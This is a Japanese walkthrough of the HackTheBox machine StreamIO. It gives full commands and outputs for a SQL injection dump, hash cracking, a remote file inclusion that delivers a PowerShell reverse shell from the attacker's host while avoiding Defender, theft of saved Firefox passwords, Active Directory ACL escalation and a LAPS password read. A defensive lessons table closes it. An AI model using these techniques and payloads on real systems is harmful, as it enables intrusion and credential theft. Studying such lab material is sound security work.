HackTheBox: StreamIO — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (15ポート)
→
AD DC (15ポート)
MSSQL UNION SQLi
watch.streamio.htb/search.php
→
watch.streamio.htb/search.php
hashcat クラック
yoshihide:66boysandgirls..
→
yoshihide:66boysandgirls..
admin パネル debug=master.php
RFI-to-RCE (PowerShellリバースシェル)
→
RFI-to-RCE (PowerShellリバースシェル)
ローカル sqlcmd
streamio_backup DB → nikk37 別ハッシュ
→
streamio_backup DB → nikk37 別ハッシュ
nikk37 WinRM
user.txt ✓
→
user.txt ✓
Firefox保存PW窃取
firepwd → JDgodd (admin名義で保存)
→
firepwd → JDgodd (admin名義で保存)
bloodyAD ACL昇格
Core Staff owner奪取 → LAPS読取権
→
Core Staff owner奪取 → LAPS読取権
Administrator WinRM
root.txt (Martin) ✓
root.txt (Martin) ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -p- --min-rate 10000 10.129.67.42 nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 10.129.67.42
RESULT
53/tcp open domain 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap (Domain: streamIO.htb) 443/tcp open ssl/http | ssl-cert: Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws
ℹ️
典型的な Active Directory ドメインコントローラのポート構成。
TLS証明書のSANから
streamIO.htb と watch.streamIO.htb の2つの
ホスト名を確認し /etc/hosts に登録する。crackmapexec smb で
ホスト名 DC.streamIO.htb も判明。IPへの直接アクセスは404を返すため、
必ずホスト名でアクセスする必要がある。
PHASE 2
watch.streamio.htb MSSQL UNION SQLi でユーザーダンプ
search.php の SQLi を発見
NOTE
watch.streamio.htb/search.php は映画検索フォーム (POST /search.php, body: q=<文字列>)。 "man';-- -" のようなペイロードで挙動が変化することからSQLiと判明。 UNION SELECT のカラム数を "abcd' union select 1,2,3,4,5,6;-- -" で6と確定し、 @@version でMSSQLと確認。"0x"や"**"等の一部キーワードはWAFでblocked.phpへ 302リダイレクトされるが、シングルクォートベースのペイロード自体はブロックされない。
STREAMIO..users を UNION SELECT で全ダンプ
BASH
curl -sk https://watch.streamio.htb/search.php \ --data-urlencode "q=abcd' union select 1,username+char(58)+password,3,4,5,6 from users;-- -"
RESULT (HTML抜粋)
<h5>admin :665a50ac9eaa781e4f7f04199db97a11 </h5> <h5>Alexendra :1c2b3d8270321140e5153f6637d3ee53 </h5> ... (計30件)
⚠️
users.username は固定長 (n)char 型のため、レスポンスHTML上では
コロンの前後に大量のパディング空白が入る。username:hash をそのまま
正規表現で抽出しようとすると空白のせいでマッチしないので、抽出用正規表現には
\s* を挟むこと。
hashcat でクラック
BASH
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
Barry:...:$hadoW
... (計12件クラック)
PHASE 3
admin パネル debug=master.php RFI-to-RCE
yoshihide でログイン & 隠しパラメータ発見
BASH
curl -sk https://streamio.htb/login.php -c cookies.txt \ --data-urlencode "username=yoshihide" --data-urlencode "password=66boysandgirls.." # → /admin パネルにアクセス可能に wfuzz -u "https://streamio.htb/admin/?FUZZ=" \ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -b "PHPSESSID=..." --hh 1678
RESULT
200 49 L 137 W 1712 Ch "debug" ← user/staff/movie 以外の隠しパラメータ
php://filter で master.php のソースを取得
BASH
curl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php" \ -b cookies.txt | base64 -d
RESULT (末尾抜粋)
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php")
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
🚨
脆弱性発見。
/admin/?debug=master.php で master.php を include させた
状態で POST include=<任意URL/パス> を送ると、その内容が
file_get_contents で取得され eval() にそのまま渡る
(Remote File Inclusion → コード実行)。
PowerShell リバースシェルの shell.php を配信し RCE
NOTE
master.php は eval(file_get_contents(...)) に渡すだけなので、include先の
shell.php は生のPHP文のみ (<?php タグ不要)。nc64.exe をダウンロードして
-e 実行する方式は Windows Defender に検知され接続が瞬時に切断される
リスクがあるため、外部バイナリをディスクに書かない PowerShell TCPClient
リバースシェル (system('powershell.exe -nop -w hidden -enc <base64>') の
1行) を使う。
BASH (Kali側でshell.php配信 + リスナー)
python3 -m http.server 8091 --directory ./tools # shell.php を配置 nc -lnvp 14444
BASH (RFIトリガー)
curl -sk https://streamio.htb/admin/?debug=master.php -b cookies.txt \ --data-urlencode "include=http://10.10.15.200:8091/shell.php"
RESULT (nc リスナー側)
listening on [any] 14444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.67.42] ... PS C:\inetpub\streamio.htb\admin> whoami streamio\yoshihide
✅
RCE成功!
streamio\yoshihide としてシェルを確立。
PHASE 4
ローカル sqlcmd で streamio_backup DB → user.txt
Webソースから高権限DB資格情報を発見
BASH (yoshihideシェル内)
PS> dir -recurse *.php C:\inetpub\streamio.htb | select-string -pattern "database"
RESULT
admin\index.php:9: $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
login.php:46: $connection = array(..., "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
ℹ️
db_admin はメインDBからは見えなかった streamio_backup
データベースへのアクセス権を持つ (Web越しのSQLiではこの権限差により
streamio_backup のテーブル一覧が空扱いだった)。
ローカル sqlcmd で streamio_backup から nikk37 の別ハッシュを取得
BASH (yoshihideシェル内)
PS> sqlcmd -S localhost -U db_admin -P "B1@hx31234567890" -d streamio_backup -Q "select * from users;"
RESULT
id username password
--- ----------- --------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
...
BASH (hashcatでクラック)
hashcat -m 0 backup_hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
nikk37:389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com
nikk37 で WinRM ログイン & user.txt 取得
BASH
evil-winrm -i 10.129.67.42 -u nikk37 -p 'get_dem_girls2@yahoo.com' *Evil-WinRM* PS C:\Users\nikk37\desktop> type user.txt
RESULT
d6e23ec3f309d9c5fbc6e9281fee94fd
user.txt — nikk37
d6e23ec3f309d9c5fbc6e9281fee94fd
ℹ️
nikk37 は「Remote Management Users」グループに所属しているため WinRM (port 5985) が許可されている。
PHASE 5
Firefox保存パスワード窃取 & Core Staff グループ ACL 昇格
nikk37 の Firefox プロファイルを発見
BASH (nikk37 WinRM内)
*Evil-WinRM* PS> ls C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles
RESULT
br53rxeg.default-release ← 標準的なFirefoxプロファイル一式
key4.db / logins.json を base64 で回収
BASH
*Evil-WinRM* PS> [Convert]::ToBase64String([IO.File]::ReadAllBytes(
(Get-ChildItem "C:/Users/nikk37/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release" `
-ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName) + "/key4.db"))
⚠️
ハマりどころ: evil-winrm の非対話モードは二重引用符文字列内の
バックスラッシュ区切りパスを渡すと構文エラーになる (フォワードスラッシュなら通る)。
また key4.db (~230KB) を base64 化すると ~300KB のテキストになり、既定の30秒
タイムアウトでは取得が打ち切られることがあるため長めに待つ必要がある。
さらに evil-winrm 出力に混入する ANSI エスケープシーケンス
(
\x1b[?25l\x1b[1G...) を除去してから base64 文字列を抽出しないと
Incorrect padding でデコードに失敗する。
BASH (Kaliでデコード)
python3 -c "
import base64
open('key4.db','wb').write(base64.b64decode(b64_key4))
open('logins.json','wb').write(base64.b64decode(b64_logins))
"
firepwd で復号 & 【重要】正しいパスワードの取り違えに注意
BASH
git clone https://github.com/lclevy/firepwd.git python3 firepwd/firepwd.py -d .
RESULT
decrypting login/password pairsJDg0dd1s@d0p3cr3@t0r' https://slack.streamio.htb:b'admin',b' https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)' https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'password@12' https://slack.streamio.htb:b'JDgodd',b'
🚨
ハマりどころ (最重要): Slackに保存された4件のログインのうち、
AD ドメインパスワードとして実際に機能するのは “JDgodd” 自身の
エントリ (
password@12) ではなく、”admin” という名前で保存された
エントリ (JDg0dd1s@d0p3cr3@t0r) の方。JDgodd はこの Slack “admin”
アカウントのパスワードとADドメインパスワードを使い回していた。ここを取り違えると
後続の LDAP/SMB 認証が invalidCredentials で全滅する。
BASH (確認)
netexec smb 10.129.67.42 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'
RESULT
[+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
BloodHound で JDgodd の ACL 権限を分析
BASH
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' \ -ns 10.129.67.42 -d streamio.htb -dc streamio.htb --zip
ℹ️
BloodHoundにインポートすると、JDgodd は “Core Staff” グループに対し
Owns + WriteOwner を持ち、Core Staff グループは DC コンピュータ
オブジェクトに対し ReadLAPSPassword を持つことが判明する。
bloodyAD で Core Staff の owner/ACL を奪取し自身を追加
BASH
bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \ set owner "Core Staff" JDgodd bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \ add genericAll "Core Staff" JDgodd bloodyAD --host 10.129.67.42 -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \ add groupMember "Core Staff" JDgodd
RESULT
[+] JDgodd added to Core Staff
✅
ACL昇格成功。 (1) WriteOwner権限を使い自分自身をグループの所有者に変更 →
(2) 所有者としてGenericAll(フルコントロール)を自分に付与 →
(3) その権限でグループメンバーに自分を追加、という3段階のACL権限昇格チェーン。
JDgodd は今や Core Staff メンバーとして DC の LAPS パスワードを読み取れる。
PHASE 6
LAPS パスワード読取 → Administrator → root.txt
netexec / ldapsearch で LAPS パスワードを取得
BASH
netexec ldap 10.129.67.42 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb -M laps # 代替手段 (ldapsearch) ldapsearch -h 10.129.67.42 -b "DC=streamio,DC=htb" -x \ -D "JDgodd@streamio.htb" -w 'JDg0dd1s@d0p3cr3@t0r' \ "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
RESULT
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: (DCのローカルAdministratorパスワード)
Administrator で WinRM ログイン
BASH
evil-winrm -i 10.129.67.42 -u administrator -p '<LAPSパスワード>'
RESULT
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami streamio\administrator
root.txt は Administrator でなく Martin のデスクトップ
BASH
*Evil-WinRM* PS> ls C:\Users *Evil-WinRM* PS> type C:\Users\Martin\Desktop\root.txt
RESULT
bdfb8db7360f85d027d905b0547db2f6
root.txt — Martin (ローカル管理者、LAPS Administrator経由)
bdfb8db7360f85d027d905b0547db2f6
ℹ️
LAPS で管理されるローカル Administrator パスワードは HTB インスタンスごとにランダムに
ローテーションされるため、root フラグは (ローテーションでも変わらない) 別のローカル管理者
Martin のデスクトップに配置されている。C:\Users の一覧を確認すれば
Administrator 以外の管理者ユーザーの存在に気付ける。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — nikk37
d6e23ec3f309d9c5fbc6e9281fee94fd
root.txt — Martin (LAPS Administrator経由)
bdfb8db7360f85d027d905b0547db2f6
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| MSSQL UNION SQLi | watch.streamio.htb/search.php | 全ユーザーのパスワードハッシュ漏洩 | Critical | 検索クエリのシングルクォート未サニタイズによるUNION SELECT注入、STREAMIO..usersを全ダンプ |
| RFI-to-RCE (eval+file_get_contents) | streamio.htb/admin/master.php | 任意コード実行 (as yoshihide) | Critical | 隠しdebugパラメータでmaster.phpをinclude、そのincludeフォームパラメータがeval(file_get_contents())に渡る設計不備 |
| Web資格情報の使い回し・権限差DB | ローカルsqlcmd + streamio_backup DB | 横展開 (nikk37) | High | Webソースにハードコードされたdb_admin資格情報を使い、Web越しには見えないバックアップDBを直接クエリ |
| Firefox保存パスワード + ACL誤設定 | nikk37プロファイル + Core Staffグループ | ドメイン権限昇格経路の獲得 | High | firepwdでSlack保存パスワードを復号しJDgoddの資格情報を取得、WriteOwner権限を悪用したACL昇格チェーンでLAPS読取権を獲得 |
| LAPS | DCコンピュータオブジェクトのms-Mcs-AdmPwd属性 | ドメイン管理者権限相当のローカル管理者取得 | Medium | ReadLAPSPassword権限を得たグループのメンバーとしてLAPSローテーションパスワードを読み取りAdministrator権限を取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC構成、streamio.htb/watch.streamio.htb発見 |
| 2 | SQLi | MSSQL UNION SELECT + hashcat | yoshihide:66boysandgirls.. |
| 3 | RCE | admin debug=master.php RFI | streamio\yoshihide シェル |
| 4 | 横展開 | ローカルsqlcmd + hashcat | user.txt (nikk37) |
| 5 | ACL昇格 | firepwd + bloodyAD (owner/ACL) | Core StaffメンバーとしてLAPS読取権 |
| 6 | 権限昇格 | LAPS読取 | root.txt (Martin, Administrator経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 検索フォームがユーザー入力を未サニタイズのままSQL文へ連結 (UNION SQLi) | プリペアドステートメント/パラメータ化クエリを徹底する。WAFは補助的対策に留め根本修正しない。 |
| 管理者向けincludeパラメータがユーザー制御可能なURL/パスをeval(file_get_contents())へ直接渡している | 動的include/evalの使用自体を避け、どうしても必要なら許可リスト化されたファイル名のみ受け付ける。 |
| Webアプリのソースコードに高権限DB資格情報が平文でハードコードされている | 資格情報は環境変数やシークレット管理サービスから取得し、ソースコード/リポジトリに含めない。 |
| Slackなどの社内ツール用パスワードとADドメインパスワードを使い回している | パスワードの使い回しを禁止し、多要素認証・パスワードマネージャーの利用を徹底する。Firefox等ブラウザのパスワード保存機能を業務PCで無効化・GPO制限する。 |
| 一般ユーザーがグループオブジェクトに対しOwns/WriteOwnerを持ち、そこからACL昇格チェーンでLAPS読取権に到達できる | 定期的にBloodHound等でAD ACLの危険な経路を棚卸しし、最小権限の原則を徹底する。特に機密性の高いグループ(LAPS読取権を持つグループ等)のACLは厳格に管理する。 |

